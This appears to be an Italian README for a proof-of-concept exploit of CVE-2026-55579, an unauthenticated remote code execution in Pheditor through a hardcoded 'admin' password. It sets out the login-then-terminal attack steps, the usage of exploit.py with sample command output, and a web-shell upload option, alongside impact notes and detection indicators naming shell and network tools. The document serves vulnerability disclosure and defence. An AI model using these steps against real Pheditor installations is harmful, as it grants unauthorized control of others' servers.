
CVE-2026-55579 – RCE non autenticata in Pheditor tramite password predefinita hardcoded "admin". Exploit Python completo con upload di file ed esecuzione nel terminale. Nessuna dipendenza.
TL;DR: Pheditor (tutte le versioni) include una password predefinita hardcoded (
admin) incorporata nel codice sorgente. Non viene forzato alcun cambio password al primo login, solo un avviso visivo. Qualsiasi attaccante non autenticato può accedere come admin e abusare del pannello terminale integrato (action=terminal) per eseguire comandi OS arbitrari con i privilegi del server web. Combinato con le capacità di caricamento file, ciò produce Esecuzione Remota di Codice (RCE) non autenticata.
| Attributo | Dettagli |
|---|---|
| Identificatore CVE | CVE-2026-55579 |
| Software Affetto | Pheditor (tutte le versioni fino all'HEAD corrente) |
| Versione Corretta | Ancora nessuna (patch del fornitore non rilasciata; necessario workaround) |
| Classe di Vulnerabilità | CWE-798: Uso di Credenziali Hardcoded |
| Punteggio CVSS v3.1 | 9.8 (Critico) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna – le credenziali predefinite sono pubblicamente note |
| Verifica | Confermata su un'installazione fresca di Pheditor |
La vulnerabilità deriva da un hash SHA‑512 hardcoded della password admin all'interno di pheditor.php (riga 11):
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
Questo hash corrisponde a:
echo -n 'admin' | sha512sum
Perché questo è un game over:
pheditor.php).admin/admin, un attaccante può accedere e ottenere pieno accesso a:
action=terminal)action=upload)action=open/action=save)Non c'è limitazione di velocità, blocco, né alcun fattore di autenticazione aggiuntivo.
L'attacco è estremamente semplice e non richiede alcuna ipotesi:
POST a pheditor.php con pheditor_password=admin. Il server imposta un cookie di sessione.token.POST con:
action=terminaltoken=<estratto>command=<comando OS>dir= (opzionale)<pre> e può essere analizzato pulitamente.In alternativa, l'attaccante può caricare una web shell o sovrascrivere file dell'applicazione.
Clona il repository ufficiale e avvia un server locale:
git clone https://github.com/pheditor/pheditor.git /tmp/pheditor
cd /tmp/pheditor
php -S localhost:8080 pheditor.php &
L'exploit Python fornito si basa solo sulla libreria standard di Python (nessuna dipendenza esterna). Include CLI basata su argparse, gestione avanzata degli errori, modalità verbose e controllo del timeout.
python3 exploit.py http://localhost:8080/pheditor.php "id; hostname; whoami"
[*] Logging in with password: admin
[+] Login successful
[*] Extracting CSRF token...
[+] Token: a1b2c3d4e5f6...
[*] Executing: id; hostname; whoami
==================================================
Command Output:
==================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu
www-data
==================================================
Uno sfruttamento riuscito concede all'attaccante:
root), l'attaccante ottiene il controllo completo dell'host.Considerando che Pheditor è spesso utilizzato in ambienti di sviluppo o come file manager leggero, gli attaccanti possono facilmente trovarlo e sfruttarlo per ottenere punti di appoggio iniziali.
pheditor_password=admin).Monitora il tuo ambiente per indicatori di compromissione:
pheditor.php con pheditor_password=admin o action=terminal.sh, bash, nc, curl o wget.Per un approfondimento sulla catena di sfruttamento e payload aggiuntivi, consulta ANALYSIS.md.
Disclaimer: Questo repository contiene un Proof of Concept (PoC) destinato strettamente a scopi difensivi, educativi e di test di sicurezza autorizzati. Non utilizzare questo codice contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta. Gli autori non si assumono alcuna responsabilità per un uso improprio.